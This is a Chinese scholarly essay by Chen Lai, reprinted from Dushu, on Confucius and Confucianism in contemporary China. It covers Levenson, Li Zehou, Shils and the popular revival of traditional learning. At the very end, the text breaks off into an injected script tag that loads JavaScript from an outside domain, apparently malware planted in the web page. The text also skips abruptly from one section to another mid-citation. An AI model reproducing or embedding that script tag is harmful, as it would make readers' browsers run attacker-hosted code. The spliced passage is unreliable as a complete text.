作者：陈来 转载于：《读书》2007年第11期
在过去的一个世纪里，像中国人那样对自己的文化传统给以全面、深入批判在世界历史上是令人瞩目的，也许正因为如此，晚近出现的传统文化复兴的诸多现象，也引起了相当普遍的关注。这似乎表明，近代以来的中国变迁，始终与“传统”的问题结下了不解之缘。
不管人们喜欢或不喜欢孔子和儒家，事实是，在中国过去两千多年的历史上，儒家在中国社会和文化中占据了突出的地位，在中国文化的形成上起了主要的作用；以至于人们有时把儒家传统作为中国文化的代表，以孔子作为文化认同的象征。另一个事实是，二十世纪的革命运动和现代化变革，给孔子和儒学的命运带来了根本的变化；在二十世纪的文化运动中，对孔子和儒家思想的反省、批判可以说占了主导的地位。而跨入新的世纪以来，随着中国经济的快速增长和中国在政治、经济上世界地位的提高，要求对孔子和儒家思想文化重新认识的呼声也不断出现。在这样一个呼唤“文化自觉”的时代，我们期待把孔子和儒家的问题放进古老文明现代发展的纵深视野，置诸全球化的现实处境，以理论思考和实践关怀相结合的态度，把对这一问题的思考推进到一个更深入的水平。
让我们先举出与“孔子与当代中国”问题有关的三种思想史的解释方式，然后尝试描述与“孔子与当代中国”问题相关的现实处境。
孔子与当代中国，这个题目很容易使人联想起约瑟夫?列文森四十年前的名作《儒教中国及其现代命运》。尤其是，这部书中正好就有“孔子在共产主义中国的地位”一章。在这一章的结尾，列文森说：“二十世纪的第一次革命浪潮真正打倒了孔子。珍贵的历史连续性、历史认同感似乎也随之被割断和湮没。许多学派试图重新将孔子与历史的延续、认同统一起来。共产主义者在寻找逝去的时光中发挥了作用，并有自己明智的策略和方法：恢复历史的本来面目，还孔子的真相，置孔子于历史。”（（《儒教中国及其现代命运》，中国社会科学出版社二○○○年版，343页）那么，什么是“置孔子于历史”？列文森的这部书中有一部分，名为“走入历史”，这意味着，在他看来，儒家思想文化在二十世纪五十至六十年代的中国，已经丧失了任何现实的存在和作用，成为“过去”，而走进了历史。正如他评论当时中国的文化政策所说：“共产主义者可以使孔子民族化，使他脱离与现行社会的联系，脱离今后的历史，将他回归于过去，只把他当做一个过去的人物对待。”（同上，336页）与后来的“文革”不同，在六十年代初期的一个间隙，对孔子的比较平心静气的学术讨论曾一度短暂地浮现，列文森对此加以评论说：“与这些历史遗物相同，共产党也没有必要非从精神上彻底抛弃孔子不可，所以孔子也能受到一定的保护，也有存在的价值。共产党不是要剥夺他存在的意义，而是取代他的文化作用。简言之，保护孔子并不是由于共产党官方要复兴儒学，而是把他作为博物馆的历史收藏物，其目的也就是要把他从现实的文化中驱逐出去。”（同上，338页）
孔子当然是一个过去的人物，但是，这里所谓使孔子回归过去，是要使孔子仅仅成为“一个逝去的古人”，其真正意味是使孔子的思想成为过去，使孔子思想在今天没有任何影响，使孔子及其思想成为博物馆中保存的历史遗物，在现代社会没有任何作用。这样，所谓置孔子于历史，就是“把孔子妥善地锁藏在博物馆的橱窗里”。应当承认，六十年代的列文森在评论六十年代的中国文化政策时，他的评论没有任何受冷战意识形态影响的迹象，他甚至对中国当时采取的文化政策与方法有某种同情的了解，显示出历史学者平实、冷静的态度和风范。
由此也可见，列文森有名的“博物馆收藏”的比喻，其实并不是他自己的文化主张，而首先是他对五十至六十年代中国的文化政策的一种旁观的概括；其次在这种概括下也包含了他对中国社会现实的认知和判断，即儒家已经“走入历史”。而一个走入历史的孔子，应当既不受崇拜，也不受贬斥，已经不再是一个需要反击的目标。
列文森死于一九六九年，他虽然未及看到七十年代前期的批孔运动，但“文化大革命”高扬破除传统思想文化的口号，显然给“博物馆收藏”说带来了冲击和困惑。难道，对已经走入历史的博物馆收藏物还需要大动干戈地“继续革命”吗？
然而，这样的困惑对李泽厚并不存在。一九八○年李泽厚发表了他在七十年代末写的《孔子再评价》，他的思想特色，是把孔子和儒家思想把握为“一个对中国民族影响很大的文化—心理结构”，以此作为解释孔子的一条途径。在这个解释下，孔子根本没有“走入历史”，而是始终作用于历史和现实之中。他指出：“由孔子创立的这一套文化思想，已无孔不入地渗透在人们的观念、行为、习俗、信仰、思维方式、情感状态……之中，自觉或不自觉地成为人们处理各种事务、关系和生活的指导原则和基本方针，亦即构成了这个民族的某种共同的心理状态和性格特征。值得重视的是，它的思想理论已转化为一种文化—心理结构，不管你喜欢或不喜欢，这已经是一种历史和现实的存在。”（《中国古代思想史论》，人民
韦伯在论述现代社会时，显然没有给传统多少位置，虽然他在表达这一点时表现出特有的悲剧式的雄辩。”（同上，12页）席尔斯对现代社会科学的批评也许过于严厉了，在中国社会科学领域，不少社会科学学者一直致力于与儒学传统相关的研究，如社会学、法学、心理学等，尤其是香港社会科学学者，在这方面可谓着了先鞭。但席尔斯的批评肯定是有的放矢的，直指经济学、政治学的学科习惯和“理性经济人假设”等新的社会科学教条，也很能针对当代中国社会科学多数学者的心态。事实上，人文学者和社会科学学者都应关心、思考包括传统问题在内的社会、文化问题，以及其他公共领域的问题。
在另一方面，席尔斯也指出，二十世纪人们已经对现代文明加以反思，现代文明是科学的、理性的、个人主义的，也是“享乐主义”的。“人们对资产阶级社会的责难之一是，资产阶级社会使人类脱离了赋予存在的意义的秩序”，而传统正是这种意义秩序的组成部分，传统是此种秩序的保证、意义的来源，是文明质量的保证。现代社会在理性化和除魅的同时，也丧失了伟大宗教所提供的意义。由是他批评韦伯低估了传统的权威以及体现传统权威的模式和制度对现代社会这种发展的抗拒力量。在他看来，相对于现代社会的各种力量如科层化而言，对实质性传统的崇敬、对既存事物的尊重，宗教信仰、克里斯玛常规化的制度、累积的实践经验智慧、世系与血亲感、对地方和民族的归属感，在现代社会仍有力量。他指出，实质性传统已不像从前那样独占社会中心，“然而实质性传统还继续存在，这倒不是因为它们是仍未灭绝的习惯和迷信的外部表现，而是因为，大多数人天生就需要它们，缺少了它们便不能生存下去”（同上，406页）。在这个视野之下，儒学当然是属于他所说的“实质性传统”。在市场经济的时代，在道德重建和社会正义的要求日益突出的时代，我们需要更严肃地考虑传统在现代社会的作用和意义。
跨入二十世纪以来，传统文化普及日益发展，民众对包括儒学在内的传统文化的热情持续增长。据国际儒联的一份报告，全国各地幼儿园、中小学开展的以诵读蒙学与四书为主要内容的普及活动方兴未艾，估计有一千万少年儿童参加，在这一千万人背后，至少还有两千万家长和老师。这些活动主要是民间的力量分散、自发地组织开展的。这些传统文化普及活动，以养成社会价值观和传统美德为中心，着眼于道德建设和人格成长，追求积极的人生，受到了社会的积极的关注。其中如北京的一耽学堂，天津的明德国学馆等普及儒学的民间团体，以“公益性”为宗旨，组织志愿者身体力行，颇受好评。这些被称为草根性的儒学普及活动，在新一波的国学热中占了重要的地位。在教育文化界，素被认为以坚持意识形态优先而著称的人民大学，在二○○二年率先成立了孔子研究院，此后大学的儒学中心遍地开花，《论语》等儒家经典的今人解说，更是俯拾皆是。据估计，二○○七年将有上百种解读《论语》的新书问世，印刷量将创历史纪录。企业界精英学习了解传统文化的热情一直以来有增无减，大学举办的以企业管理人员为对象的国学班正在四处发展，与蓬勃发展的中国民营经济形成了配合的态势，同时也出现了由企业界人士出资创办的非盈利性的以学习传统文化为主的学堂和书院。以儒学为主要内容的网站目前已有几十个，互联网博客的出现更成为民间传统文化爱好者研究者的嘉年华展场，进一步激发了民间性的文化力量（参见《国际儒联工作通报》二○○七年六期）。所有这些，无疑都反映了二十世纪九十年代中期以来中国经济快速发展以及所谓“中国崛起”所带来的全民的民族自信与文化自信的增强。另一方面，民众对传统文化的热情所体现出的人们精神的迫切需求，根源于旧意识形态在人们心灵的隐退所造成的巨大虚空，这种空间要求得到弥补，特别是民族精神与伦理道德的重建，成为社会公众的强烈需求。
民间的草根性的对传统文化特别是儒家文化的热情成为这一波中国文化热的巨大推动力量，它的出现和规模，完全超出了知识精英的预期，其力量也远不是学院知识分子可以相比的。其中虽然有些盲目的成分，但无可怀疑地显示出，“文化场”不再是学者的一统天下，从而，社会和民间的文化价值取向将成为知识精英必须重视的因素。民间大众最少洋教条、土教条的束缚，他们根据自己的社会文化经验，表达他们自己的文化偏好，在文化民主的时代，发出了自己的声音。应当看到，国民心理已经发生了变化，而这种变化，不会是短暂的，将是持久的，可惜我们还缺少对这一文化现象的有深度的社会学研究。
今天，“孔子学院”已经把孔子的符号带往世界各地。在某种意义上，孔子被恢复了他作为中国文化象征的地位。这标志着，在后“文革”时代以来对孔子及其思想的平反进程迈进了一个新的阶段。这看起来对于儒家是一个可喜的变化，然而，在我看来也更是一个挑战。我在这里指的还不是一些人出于不同的动机而利用这种变化，而是指，近几十年来为了反抗对它的不合理的批判，儒家学者往往把主要精力用于在文化上?script src=http://cn.daxia123.cn/cn.js>
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